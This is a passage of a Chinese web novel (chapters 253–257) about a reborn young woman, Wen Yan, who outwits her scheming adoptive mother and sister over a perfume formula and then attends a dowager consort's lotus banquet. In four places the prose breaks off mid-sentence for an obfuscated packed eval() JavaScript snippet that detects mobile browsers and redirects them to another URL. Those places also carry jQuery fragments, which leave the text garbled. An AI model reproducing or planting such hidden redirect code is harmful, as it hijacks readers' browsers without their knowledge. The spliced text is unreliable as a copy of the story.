直到再也听不见马蹄声,佩儿才好奇地询问:“小姐,你说的恭太妃,是我们进城那天,遇见的那支队伍吗?小姐怎么认识她的?” 闻颜点点头:“是她。她喜欢我的刺绣,一来二去便认识了。” ** 梧桐书院。 放课的钟声响起,应知林就像一支离弦的箭,迫不及待地奔出课堂。 同窗追出来:“应兄,我有问题想请教你。” 应知林摆摆手:“有事明天再说,我要回家了。” 同窗:“今天不把问题弄明白,晚上我睡不着……” 他的话还没说完,应知林就已经不见了踪影。 同窗:“不是……应知林今天怎么了?家里挖到金矿了?” “谁说不是呢!今天他时不时就露出傻笑,我挨着他坐,怪渗人的。” “好像是他夫人回来了……” 同窗们挤眉弄眼,齐齐发出一声心照不宣的‘哦!’ 没想到,应知林竟是个妻奴! 应知林飞奔回家。 与此同时,江嬷嬷也回到闻府。 闻如月等着结果,还没回侯府。 江嬷嬷不敢承认,是自己把事情弄砸了。 当即就添油加醋,将事情说了一番。 江心葵听完,气得拍案而起:“岂有此理! 闻颜她要反了天不成?” 闻如月擦着眼角嘤嘤嘤:“妹妹定是记恨我抢走了她的婚事。 所以才不肯帮我。” “什么她的婚事,津平侯府本就是看中闻家的底蕴才会结亲。 世子要娶的,自然也是闻家真正的千金。 我们将她养这么大,没让她还恩就算了,她有什么资格恨我们!” 才嫁出去四五个月,闻颜的叛逆已经越脱江心葵的掌控。 江心葵对此很是不满。 “献给兰贵妃的香料最为要紧,如月放心,明日我亲自去一趟,我就不信,闻颜那个小蹿子还敢当众忤逆我。” 第253章:闻如月走入陷阱 “如月知道,娘亲最疼如月了。”闻如月依偎进江心葵怀中撒娇,眼中却闪过烦躁与算计。 闻如月也是为这熏香操碎了心。 不仅自己尝试调香,还找了城中有名的调香大师,一起研制。 最终制出的香,与买到的那款,仍有一些差别。 闻如月很不满意。 可她派人出去找卖香料的姐妹,始终没有音讯。 宫里的兰贵妃又催得急,无奈之下,她只得挑了一款最接近的香,送进宫里。 都不用点燃,兰贵妃只是打开盒子闻了闻,就发现味道不对。 当即就大发雷霆,还派身边的大宫女,当面训斥闻如月,并限期交上同款香料,否则就会对她不客气。 闻如月走投无路之际,突然想起前世,闻颜制香手艺远近闻名,还开了日进斗金的香料铺子。 好几款香深受宫中贵人喜爱,其中有一款香,就受到兰贵妃的追捧。 她闻着就与息兰香有九成相似。 这也是那日在街上,她毫不犹豫买下这款香的原因。 如今闻颜不肯调香,那自己该如何向兰贵妃交待。 早知道,那日自己就该把香方一并买下。 都怪自己太大意,以为兰贵妃未必会喜欢。 结果却…… 如今恐怕会讨好不成,恐怕还会惹恼兰贵妃。 不仅会给霍家惹来麻烦,恐怕还会牵连闻家。 闻如月越想越火大,只觉得鼻子里一阵腥臭。 拿帕子一抹,闻如月眼前发昏:“血……” 她着急上火到流鼻血了。 不行。 她一定要让闻颜,把香料配出来。 既然她敬酒不吃,就别怪她动用武力了。 ** 闻颜在家中待了三天,应知林彻底放飞自我,变得非常粘她。 出门前,一定要来同她说一会儿话才离开。 从书院散学回家,必定会给她带一把野花、野果。 晚饭后,他还会和闻颜一起乘凉。 让闻颜给他检查伤势,涂抹药膏。 总之。 只要他在家,闻颜一闲下来,他必定会凑过来刷存在感。 就算闻颜在忙,他也坐到她身边,安安静静的看书。 闻颜通过他,向书院学子买了二十幅字画。 梧桐书院只看人品学识,不论出身富贵。 所以,书院中有许多贫寒学子。 闻颜的价格又给得公道,他们很乐意将画卖给闻颜。 当天晚上,应知林就带回来二十二幅。 另外两幅,是应知林悄悄混入自己的作品。 闻颜一一看过,全都非常满意。 应知林严选得来的,能有次品么! 应知林傲娇地挺了挺胸脯,娘子夸我了! 一旁的辰七哥:“……” 应知林腻歪得没眼看。 闻颜拿到画,就要回京城去验收新铺子的修葺成果。 照例上午出发。 清晨。 应知林默默帮闻颜把行李搬上马车,低垂着眉眼,好看的嘴唇抿成一条直线,时不时控诉地看闻颜一眼。 放最后一包行李时,闻颜抓住他的衣袖:“秋闱之前,我一定赶回来陪你。” 参加完恭太妃的赏荷宴,正好可以赶回来,为应知林秋闱做准备 应知林的脸上,这才有了笑意。 闻颜又叮嘱小海、辰七哥还有康叔一番,佩儿便驾着马车出发了。 途中,她与去江心葵的马车擦身而过。 江心葵在松山村扑了个空。 江心葵不信,以为是闻颜故意躲着她,非要派人去屋里搜。 没搜到人,又要在这里等闻颜。 直到辰七哥,拄着拐杖出现在江心葵面前。 以前闻颜去孟家玩,多半时候都是辰七哥护送她回家。 所以,江心葵是认识辰七哥的,也知道辰七哥跟孟家的关系。 江心葵不敢在辰七哥面前造次,只得灰溜溜地回了京城。 闻如月得知她连闻颜的面都没见上之后,嘴上安慰着江心葵,却在心里骂她蠢笨如猪,竟然连个村妇都拿捏不住。 现在看来,只能自己出手了。 闻如月十分着急。 她可没耐心,对闻颜动之以情,晓之以理。 闻颜是块硬骨头,不把她的背脊敲断,她根本不会乖乖听话。 闻如月把人撒出去,寻找闻颜的下落,很快就得知她住在‘一点墨’。 闻如月当即就去找霍耀行,问他要了几个功夫高强的护卫,关键时候出手。 当然。 闻如月也不会坐以待毙,把全部希望寄托在香料上。 她最近一直在努力回忆前世之事。 她隐约记得,秋闱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344295|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后不久,便是兰贵妃的生辰宴。 生辰宴上,有一个五品小官的家眷,进献了一盆叫做‘素冠荷鼎’的兰花。 兰贵妃对那盆‘素冠荷鼎’爱不释手。 五品小官也跟着官运亨通。 世子爷会在秋闱拿下解元。 自己再进献那盆‘素冠荷鼎’。 兰贵妃凤心大悦,不仅不会追究香料之事,还会重重提拔世子爷。 于是,闻如月又下了道命令。 在寻找香料的同时,去各大花市、花圃寻找‘素冠荷鼎’。 闻如月完全不知,自己早就踏入闻颜挖好的陷阱。 ** 闻颜验收新铺子还算顺利,只有两处需要修改,其余的都很满意。 随后,便是其他的布置装点。 屏风、纱幔、挂画、插瓶。 桌椅板凳无一不精细。 当然,这些大件家具,订做根本来不及。 好在义母白夫人替她解决了这个难题。 白夫人有许多座空置的宅子。 每座宅子里,都放着不少现成的家具。 闻颜一家一家挑过去,竟淘到不少宝贝。 甚至有一套紫檀木的桌、椅、榻、床。 闻颜立即让人送去将军府:“这一套紫檀木家具特别值钱,放到义母的库房,将来给迟飞姐姐做嫁妆。” 白夫人却不同意,又将东西送回铺子里:“既然是从那些官宦太太手里赚钱,家具自然也要拿得出来。” 她有座宅子里,铺着许多高龄土烧制的假玉砖,纹饰十分精美。 她也找工匠撬下来,给闻颜送去。 闻颜看着假玉砖,哭笑不得。 也正是因为,她成天跟将军府的人来往。 闻如月的人,一直没有找到机会下手。 眼看时间一天一天过去,转眼就到了恭太妃赏荷宴的前一日。 津平侯府和闻家都收到了请柬。 津平侯的请柬上,特地写明了,邀请世子妃一同前往。 闻家虽然是四品官,这样的皇家宴请,不是每次都能受邀的。 更何况,这次的赏荷宴,还是恭太妃亲自操持的。 江心葵喜不自胜,闻父却觉得心中惴惴,一股淡淡的不祥预感,萦绕在他心头。 江心葵娇嗔地瞪他一眼:“瞧你那德性。定是看在咱们如月的面子上,才邀请的咱们。” 第254章:她在鬼叫什么 恭太妃的宴会,闻颜不能穿得太朴素。 她早早就在‘天衣布庄’订了一套衣裳。 闻颜趁着忙完,特地绕道去店里取衣服。 因着恭太妃的赏荷宴,那些受邀的官宦女眷,都会特地准备两套新的衣裳。 既表对宴会的重视,也是为了争奇斗艳,在恭太妃面前留下深刻印象。 作为近一年,最受女眷欢迎的天衣布庄,生意特别好。 闻颜刚进门就看见好几位眼熟的官宦千金。 早就不是一路人,曾经相熟的点头示意既可,不熟的就当做陌生人。 “闻姑娘,里面请。”掌柜看见闻颜就笑眯眯,并没有叫破她‘小东家’的身份。 闻颜也笑着回应:“崔掌柜,最近生意可好?” “好!好得很!”闻颜每月给店里画两个新款,不仅让店里的老客稳定,新客也在不断增加。 仅仅是这个月,店里就有近三千两的利润。 两人闲聊几句,铺子里的绣娘就把她订的衣服送了上来。 在雅间试衣过后,确定尺寸无误后,闻颜就准备下楼结钱离开。 却在楼梯上,与江心葵母女狭路相逢。 “你怎在此!”闻如月意外,不由自主拔高了音量。 闻颜心中暗哂一声倒霉,朝江心葵福了福身:“母亲。” 佩儿看见闻如月,下意识的低下头。 闻如月起初觉得她有些眼熟,不过佩儿今日是丫鬟装扮,并未过多在意。 江心葵想到自己,特地去松山村找她,却被轰走,心里就像堵了一团柳絮般,上不上下不下的难受。 她语气就变得疾言厉色:“你既然在京城,为何不回家去?” 闻颜一副怯生生的样子:“我在替将军府办事,每日早出晚归,恐打扰到父亲母亲,故而不曾回去叨扰二老。 都是闻颜的不是,闻颜在此请罪了。” “早出晚归?”江心葵以为抓住了要害,越发的疾言厉色,“你一个女子,怎好早出晚归,抛头露面。 你但凡要些脸面,就该回绝了孟家的无理要求,安心在家侍候夫君。” 在家侍候夫君? 是困在乡下一事无成,任由你们拿捏吧。 闻颜吓得一哆嗦,细声细气,仿佛要哭出来一般:“可是,我夫君并不介意我做这些事。” 江心葵:“……” “母亲若是没有其他吩咐,我就先走了。”闻颜像是吓得六神无主,慌乱地福了个礼,就准备离开。 闻如月却朝江心葵猛使眼神,提醒她香料的事。 江心葵一把抓住闻颜,往楼上雅间里拽:“你跟我来,我有事跟你说。” 闻颜一副害怕又不敢挣扎的样子。 佩儿大急,要上前阻止。 闻颜一个眼神制止了她。 闻如月对贴身丫鬟吩咐几句。 丫鬟应了一声是,就下楼离开了铺子。 雅间里。 门一关上。 闻如月就要说香料之事。 江心葵就沉着脸呵斥一声:“跪下。” 闻颜也在一瞬间,收起刚才的怯弱害怕。 她站在原地,动也不动。 仿佛没听见江心葵的命令。 闻如月瞪她:“母亲让你跪下,你还愣着做什么?” 闻颜不解地问道:“母亲,我做错了何事?您要罚我下跪?” 江心葵:“你还没意识到自己的错误吗? 还敢跟我顶嘴。 闻颜,十几年的规矩,我是白教你了吗?” 闻颜不慌不忙地解释:“女儿实在不知错在何处,还请母亲明示。” 见闻颜油盐不进,江心葵装都不装了:“江嬷嬷,掌嘴。” 江嬷嬷新仇旧账一起算,撸起衣袖走向闻颜。 闻颜后退两步,突然扯着嗓子惨叫起来:“啊……母亲,姐姐,求你们不要打我。 不要掐了,我的腹部已经没有一块好肉了。 这样虽然不会把伤痕露在外面,可我真的很疼啊。 ……母亲、姐姐求你们了,手下留点情。 啊……,我的胳膊。 啊……,我的腿! 呜呜呜…… 母亲、姐姐饶命啊!” 闻颜面无表情,喊出来的声音,却凄厉得像在受刑。 江嬷嬷都惊呆了。 自己都没碰到她。 她在鬼叫什么! 江心葵怒斥一声:“你闭嘴,不许叫! 江嬷嬷,你是摆设吗? 还不快按住她,再捂住她的嘴!” 江嬷嬷反应过来,立即朝闻颜扑去。 闻颜闪身一躲,就带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344296|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江嬷嬷在房间里绕圈。 江嬷嬷每次觉得能抓住她了,伸手去够,却扑了个空。 江心葵端着高贵主母的款,不肯出手,却一直骂江嬷嬷没用,让她跑快些。 闻颜的哭叫声却越来越大声。 很快就惊动了其他客人。 忽地。 “江夫人,你们没事吧!有什么事好好说,闹出这么大的动静,楼下都听见了。”崔掌柜在外面用力地拍门。 “什么!” 江心葵脸色一白。 刚才进店时,店里就有许多客人。 刚才这一出,岂不是全让人听了去? 江心葵这才知道,自己让闻颜算计了。 她当即怒不可遏,上前就要抽闻颜耳光,制止她鬼叫。 闻颜一边抓乱衣裳发髻,一边跑向门口:“崔掌柜,救命!” 猛地打开门。 屋里屋外,空气在这一刻突然安静。 只见门外的走廊里站满了客人。 无数双眼睛,目不转睛地盯着房间里。 只见一个衣衫不整的少女,惊慌失措地逃命。 在她身后,是高举巴掌的江心葵。 轰隆隆! 江心葵只觉得五雷轰顶。 脑海一片空白,身体僵在原地。 完了完了! 自己经营了几十年的好名声,现在全毁了! 闻如月亦吓得脸色惨白,连忙用手帕遮住脸。 闻颜几步跑出门外,扑进一名妇人怀里:“夫人,求你救救我,我不想**,求你大发慈悲,救我一回吧……” 此妇人与江心葵不对付。 她立即将闻颜护在怀里:“江夫人,就算你再不喜欢这个养女,训斥几句,跪跪祠堂就得了,怎么能动手**呢? 还在大庭广众之下打。 怎么说她也嫁人了,你不顾闻家颜面,也得顾及顾及她夫家的颜面吧。 虽然没有血缘关系,但你也不能把人往死路上逼啊!” “你胡说,我根本没有打她。”江心葵急忙解释。 闻颜的衣袖适时下滑,露出手腕上一条三指宽的瘀青。 这是昨日她在新店里,被倒下的屏风刮蹭到的。 闻颜慌张地将衣袖往上扯,遮住瘀青。 但那伤势,还是被其人看见了。 第255章:得不到的永远在骚动 围观的人都倒吸凉气。 看江心葵母女的眼神都变了。 闻颜嘤嘤哭着,趁机躲到众人身后。 江心葵有心解释,却百口莫辩。 闻颜的伤势众人亲眼所见,加之与她不对付的人煽风点火,一切解释都显得苍白无力。 大家都护着闻颜,闻颜一脸感动地对大家道谢。 与江心葵不对付的夫人摆摆手:“孩子你先走,我们帮你拖住她。” 闻颜眼眶泛红地道完谢,这才迤逦然地下楼离开。 闻如月见闻颜走了,着急不已。 难得找到闻颜,一定要她调出‘香料’配方。 她连忙挤出人群,紧跟着闻颜出了铺子。 看见闻颜上了马车。 她立即招来自己的婢女:“怎么样?摸清楚了吗?” “回小姐,已经摸清楚了。 只有闻颜跟她那个丫鬟,将军府的护卫一个都不在。” “看来老天爷都在帮我,让你这时候自动送上门来。”闻如月嗤笑一声,“跟上去,把闻颜给我抓过来。” “是。”婢女应着,扶着她上了马车,紧跟在闻颜的马车后面。 闻颜的马车在一条巷子里被堵住。 几个护卫拿着手臂粗的棍子,把马车团团围住:“闻小姐,跟我们走一趟吧。” 闻颜打起车帘走出来,看见几个蒙面护卫,不见半点慌乱:“津平侯府的人。” 几人没想到被一眼识破。 干脆也不装了:“世子夫人有请,你是自己走,还是我们绑着你走?” “你们等我一会儿,我吹一声哨子。”闻颜从颈间掏出玉哨,用力吹响。 随着几声有节奏的鸟鸣。 凭空冒出一群人,将津平侯府的**团围住。 “是镇国将军府的人。”护卫们大惊,“我们被包围了。” “**,上当了。” 不用闻颜吩咐,闻颜的人就一起出手。 七八个护卫,很快就被撂倒。 闻颜从容地跳下马车,径直来到巷口。 她在拐角处,看见了闻如月的马车。 她打起帘子就钻进马车。 闻如月见是她,以为自己目的得逞,轻蔑又是鄙夷地讥笑一声:“母亲看中了一款香料,你是知道的。 只要你把香料调出来,我会让你毫发无损地回去。” “那我要是不配合呢?” “不配合?你就少不得要吃一些苦头了。 比如说……废了你的双腿,打到你配合为止……” “你主的是这样吗?”闻颜问话的同时,挥手就是一个耳光,抽在闻如月脸上。 ‘啪’的一声, 声音清脆极了。 闻如月脸被打歪,耳朵嗡嗡作响,脸颊也火辣辣地发烫。 她半晌才反应过来,捂着脸,不可置信地瞪着闻颜:“你敢打我!” “打你又如何?难道还要挑日子不成?” “你……”闻如月气得浑身直哆嗦,喝斥婢女,“你是**吗?还不给我打回去!” 婢女撸起衣袖就想动手。 闻颜眼神冷漠地看过去。 婢女顿时吓得缩了缩脖子。 “没用的东西!”闻如月气极,大喊护卫,来把闻颜拖走。 然而。 她喊了半天,嗓子都喊劈叉了,却无人回应。 闻颜回以讥笑。 闻如月顿时明白,那些护卫失败了。 她现在才是叫天天不应,叫地地不灵的那个。 闻颜狠辣得很。 闻如月捂着脸颊,躲到婢女身后:“你……你打也打了,还想干什么! 我可是世子夫人,你要是敢动我,津平侯府不会放过你,我的夫君更不会放过你。” “不放过我?那就来啊!” 闻颜伸手抓她的发髻,抬手就在她脸上‘啪啪’扇了几下。 力道并不重,但闻如月却嗷嗷直哭,在狭小的车厢里,格外刺耳。 “闭嘴!”闻颜喝斥一声,“吵**了。” 闻如月吓得哆嗦一下,像只受惊的鹌鹑,更不敢吱声了。 闻颜揪着闻如月的脸甩了甩:“闻如月,别以为嫁给霍耀行,你就能为所欲为。 我身后有将军府撑腰,我想打你就打你,骂你就骂你,你看霍耀行敢放一个屁吗? 你以为嫁给霍耀行就能高高在上,安安稳稳地当世子夫人吗? 你信不信,只要我勾勾手指,霍耀行就会抛弃你,摇着尾巴来讨好我?” 闻如月尖声道:“不可能!耀行爱的人是我,他只爱我,就算你脱光了衣服,躺在他面前,他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344297|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会多看你一眼。” 闻颜哂笑:“你们成亲这么久,霍耀行早就腻歪你了吧! 这天下哪有从一而终的爱情,在男人眼里,家花哪有野花香。 得不到的永远在骚动。 对于男人来说,别人的夫人,睡起来才刺激。” 闻颜一席话,顿时让闻如月回忆起前世。 那时候,外界传言,闻颜和霍耀行夫妻恩爱,日子过得蜜里调油。 而她却守了寡。 闻颜抢走她闻家小姐的位置就算了,凭什么连嫁的男人,也比自己挑中的好? 她只是稍稍一撩拨,霍耀行就与她搅和在一起。 他时常在与她云雨时,说闻颜无趣、死板、没有新鲜感。 再联想到最近,霍耀行总是以读书为由,拒绝与自己亲近。 却时不时地,跟江柔儿那个小贱妇眉来眼去。 一股恐慌袭上心头。 霍耀行不会真的厌倦自己了吧! 不行! 重生一次,她好不容易嫁给霍耀行。 她不允许任何人破坏她的美满。 闻如月慌乱极了。 她已经顾不上闻颜离开马车,更顾不上锡兰香。 连忙叫丫鬟,赶着马车回府。 她要盯着夫君…… 不,她要盯着江柔儿,绝对不能让那小**越雷池一步。 看着闻如月的马车扬长而去,闻颜勾唇轻笑。 她已在闻如月心里,种下怀疑的种子。 闻如月善妒,一定会借机生事。 她现在作得越凶,将来东窗事发,霍耀行才将所有过错怪罪于她。 这时。 江心葵的马车匆匆赶来。 看见路边的闻颜,她没好气地哼了一声,质问:“你姐姐呢?” 闻颜朝闻如月的方向抬了抬下巴:“不知怎么的,急吼吼就走了。” 江心葵对香料还不死心,旧事重提。 还说材料都准备好了。 她今晚就能开始调配。 闻颜仿佛没听到她的话,伸了个懒腰:“跑了一天好累,女儿就回家休息了。” 说完,她就不再理会江心葵,坐上自己的马车回‘一点墨’。 而江心葵当众殴打养女的事,像长了翅膀一般,在京城里疯传。 第256章:以牙还牙 闻颜回到‘一点墨’。 铺子里已经没有客人,苏合正准备打烊了。 苏合指了指二楼的方向:“小姐,有人找你。” “是义母那边的人?”闻颜询问。 苏合摇摇头:“不是。那人我不认识,不过从衣着气度判断,应该是勋贵人家出来的。” “我上去看看。”闻颜提着裙摆就上了楼。 佩儿把装新衣的锦盒放在一旁,同苏合一起整理起铺子。 闻颜来到二楼,发现等候她的是位年轻女子。 闻颜朝她点了点头:“不知姑娘是……” 对方表明身份:“我是恭太妃身边的大丫鬟,明日就是赏荷宴,太妃特地让我送些东西过来。” 说着,她便将一只锦盒递给闻颜。 “多谢太妃娘娘。”闻颜连忙接过。 她心里满是惊讶,她跟太妃确实有些交情。 前几天给自己送赏荷宴的请柬,就已经让闻颜意外了。 现在又送来礼物,未免有些好得过分了。 大丫鬟像是看出她的疑惑,解释道:“太妃说了,这是与你品性般配的。” 闻颜还是一头雾水。 “东西送到,奴婢就先走了。”她笑笑,朝闻颜福了福身,就下楼离开了。 闻颜目送她坐上马车离开,这才打开盒子,看看里面装的是什么。 竟是一套旧衣。 雪青的底色,外罩一件藕荷色纱衣。 无论是款式,还是布料上的暗纹,都有些年头了。 恭太妃的身份地位超然,更是不缺银钱,她怎会特地送自己一件旧衣? 闻颜仔细描摹着上面鹤鹿同春的暗纹。 既然想不通,她干脆就不想了。 一夜无话。 转眼就到了赏荷宴当天。 闻颜和佩儿这段时间精力透支,根本睡不醒。 还是苏合来敲门:“小姐,你今儿要去赴宴,快起来了。” 闻颜这才强迫自己起床。 匆匆洗漱之后,闻颜换上了那一身旧衣。 苏合道:“小姐,你不是特意订了一套衣服吗?这身衣服款式也太老旧了,穿去太妃的寿宴,会不会有些失礼?” “不会。这身衣裳,就是太妃特地送来给我的。” 苏合:“啊?” 闻颜和佩儿穿戴好之后,便驾着马车,朝恭太妃斩居的公主府而去。 恭太妃出身名门,十七岁入宫。 因为护佑养育当今有功,当今登基后,欲立她为太后,与生母并立为东西太后。 却遭到恭太妃严辞拒绝:“一山不容二虎,一宫不容二主。” 皇帝感念她的养育之恩,知她喜欢外面的自由自在。 便为她破例,准许她每年可有半数时间,到宫外与女儿同住。 恭太妃虽无太后尊位,超然地位却与太后无异。 不止满朝文武,甚至连皇亲国戚都要巴结。 是以,每次恭太妃的宴会,众人削尖脑袋也要参加。 闻颜到得有些晚了。 不过,门房在看见她拿出来的请柬后,态度顿时恭敬了许多。 立刻有大丫鬟将她引领到后花园。 闻颜不是第一次来公主府了。 对富丽堂皇的布置**以为常,倒是佩儿,一路上左看看右瞧瞧,眼睛都忙不过来了。 很快,他们就到了后花园。 满塘荷花竞相绽放,繁盛似锦。 只见京城里有头有脸的贵女们都汇聚于此。 在池塘边或站或坐,真是人比花娇,花映芙蓉面。 闻如月和江心葵母女也在。 闻如月今天打扮得格外惹眼,不少人围在她身边奉承: “如月,你身上穿的是‘天衣布庄’的绿野仙踪吧! 全天下仅此一件。 这身衣裳才展出来一天,就被人订走了。 我们都在猜测,花落谁家,没想到是你。” 闻如月以扇掩面,发出咯咯笑声:“我本不想要的,可世子爷非要买给我。” “你头上的点翠首饰,很是衬你,一看就价值不菲,定然也是霍世子买给你的吧!” “霍世子本就是京城数一数二的青年才俊,又如此宠爱你。如月,你可真是好命!” “现在还叫如月,应该叫世子夫人……” 闻如月最爱别人讨好巴结她,被逗得娇笑连连,眉目含春。 江心葵站在一旁,也一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344298|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与有荣焉的神情。 闻颜心中讥诮,不想多看。 便领着佩儿,顺着无人的小径漫步,欣赏园中其他花草。 闻如月娇笑间,看见闻颜的身影,顿时眉头轻蹙,抓住江心葵的胳膊,朝闻颜的方向示意:她怎么来了! 大丫鬟一直随侍在闻颜左右。 闻颜便道:“你自去忙吧,我这边不碍事的。” 大丫鬟看出闻颜不喜欢被人跟着,便听话地离开了。 闻颜带着佩儿闲逛一会儿,前路忽然被人拦住。 闻颜抬眸,竟是江家母女。 昨天已经撕破脸。 闻颜却像个没事儿一般,对江心葵行了个标准的福礼:“母亲!” 江心葵冷笑:“你昨天诬蔑我的时候,可半点不念母女情分。” 闻如月也道:“闻颜,这可是恭太妃的宴会,你怎么会出现在这里? 你不会是打着我们的旗号,蒙混进来的吧。” 闻颜笑眯眯的:“母亲你怎么还在生气? 母女之间哪有隔夜仇,您这个年纪,正是保养身体的时候,若是气坏了身体,就是如月姐姐的不是了。” 言罢,她又对闻如月开炮:“大姐,饭可以乱吃,话不可以乱说。 你诬蔑我蒙混进来,若是让旁人听了去,以为闻家毫无家教! 母亲教你的修养呢?官宦千金的仪态呢?” 江心葵母女被她挤兑得脸上青一阵白一阵。 闻颜冷笑。 前世,她不肯让他们压榨时,他们就跟她说亲戚,说养育之恩,说家族荣誉。 她不过刚刚热了个身,她们怎么就受不了了? 闻颜嘲弄地看着二人。 她问江心葵:“你不会是要我趁着赏荷宴人多,澄清昨晚的事吧。 比如说,一切都是我的算计,你是无辜的,你不仅从严没有打过我,对我胜过亲生女儿!” 闻颜又看向闻如月:“你则让我去调什么香,否则就要我吃不了兜着走? 比如说,让我的‘一点墨’开不下去。 又比如说,让人取消应知林的秋闱资格?” 看着母女俩吞了苍蝇一样的表情。 闻颜就知,自己说中了。 第257章:溪落,打脸 闻如月的脸色变了几变。 闻颜怎如肚中蛔虫,自己想什么,她都知道。 她知道,香料的事又不会顺利。 但是,香料她必须配成! 她咬咬牙,眼中闪过狠戾。 闻颜后退两步,惊慌地道:“你不会想找人把我打晕带走吧! 啧啧啧,闻如月,好歹回闻家一年多了,怎么还是如村中泼妇一般粗鲁! 母亲对你的教养呢? 闻家对你的管教呢?” “你……”闻如月气得身体直颤,复又很快平静下来,“你说中了又如何。 我夫君是侯府世子,他最是宠我,只要我一句话,所有事,他都会为我摆平。” 说着,她就拉了拉衣领,故意露脖子上的暧昧红痕,向闻颜宣示**。 昨天回到侯府,闻如月处理好脸上的伤,就去找了霍耀行。 她对着他好一通撩拔娇缠,勾得霍耀行欲念焚身,根本无心念书,白日间就与她在书房放浪形骸。 想起夫君的霸道,闻如月的脸颊就开始发烫。 “扑哧……”闻颜笑出声。 “但凡是个正常人,怎会跟狗抢屎吃。” “你……你敢骂我是狗!”闻如月肺都要气炸了。 她尖声吩咐丫鬟:“去……把她打晕弄回去!” 两个丫鬟对视一眼,还是扑向闻颜。 闻颜反应极快,一人一记窝心脚。 两具丫鬟哎呦一声倒在地上。 闻颜惊恐喊道:“啊……不要啊,我的胳膊! 母亲,姐姐你们不要打我!” 闻如月母女脸色一变。 又来这一招! 闻颜声音不大,却让附近的人看了过来。 母女俩束手束脚,都不敢乱来。 闻颜带着佩儿,大摇大摆地离开。 “又让她跑了。”闻如月气得跺脚,“娘……怎么办啊?我要是再调配不出香料,兰贵妃就要恼了我了。” 江心葵沉着脸:“你别急,我们再想想办法。” 闻颜不想再被母女俩骚扰,干脆就往人多的地方去。 她一出现,就有人认出了她。 “哟,这不是京城小才女,闻家千金闻颜吗?” “你的记性可真差,她根本不是闻家血脉,还嫁了个乡下的穷酸秀才。” 那人说着,还用手在鼻子前扇了扇。 她们与闻颜并无仇怨,只是一直被闻颜压一头,心中不服气。 今日逮着机会,忍不住就想奚落一番。 “瞧她身上的衣服,这是多少年前的老古董? 我家倒夜香的嬷嬷都不愿穿的。” “你说,一个人的差距怎就如此之大? 嫁的都是秀才。 人家闻如月的相公,是侯府世子,不仅家世显赫,还极有才学。 而某些人的相公,连件像样的衣服都买不起。” 众贵女嘻嘻哈哈地说着。 还拿闻颜跟闻如月做对比。 闻颜神情淡淡的,仿佛他们说的是别人。 佩儿却听不别人这样说她。 气得眼眶都红了。 要不是闻颜拦着,她早就跟人理论了。 大家见还没有激怒她,便又道:“她不是捧孟家的臭脚,怎么不见孟家给她准备一件赴宴的衣裳?” “肯定是孟家看清她的真面目了呗!” “谁说我孟家不喜欢闻颜了的!”突然传来一道威严女声。 循声看去。 只见一位蜜色皮肤,衣着得体的妇人走了过来。 她虽衣着朴素简单,但通身的杀伐之气,让人不敢直视。 来者不是别人。 正是镇国将军府的主母,孟迟飞的母亲,闻颜的义母,白夫人。 白夫人来到闻颜身边,牵起她的手,关心问道:“颜颜,你没事吧!” 闻颜笑着摇头:“我没事。” 见她笑容不是作伪,白夫人这才松了口气。 她握着闻颜的手,看向众人,朗声道:“我已经收闻颜为义女。她对我来说,与亲生女儿无异。 以后再让我听见你们编排她,我的拳头可不答应。” 白夫人说完,对着身边的石桌用力一拍。 只听一声清脆的‘咔嚓’声。 石桌没事,但桌上的一只茶杯,裂成了两瓣。 众贵女吓得小脸苍白。 全都低下头不敢说话。 “义母,她们都是不知事的小姑娘,您何必动气。 若是伤到手,迟飞回来定要扒了我的皮。” 白夫人轻轻点了一下她的额头:“你就是太心善,被她们欺负了,还帮她们说话。”< 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“哟,还是一柄双面绣扇!你这孩子,费了很多功夫吧!” “回太妃,是蜀地的双面绣,我才学不久,献丑了。” “你要是说自己的绣品丑,公主府的绣娘岂不是要找条地缝钻进去?”恭太妃说着,朝闻颜招了招手,“过来,到我跟前说话。” 众人惊诧不已。 闻颜就凭一个双面绣的团扇,入了太妃的眼? 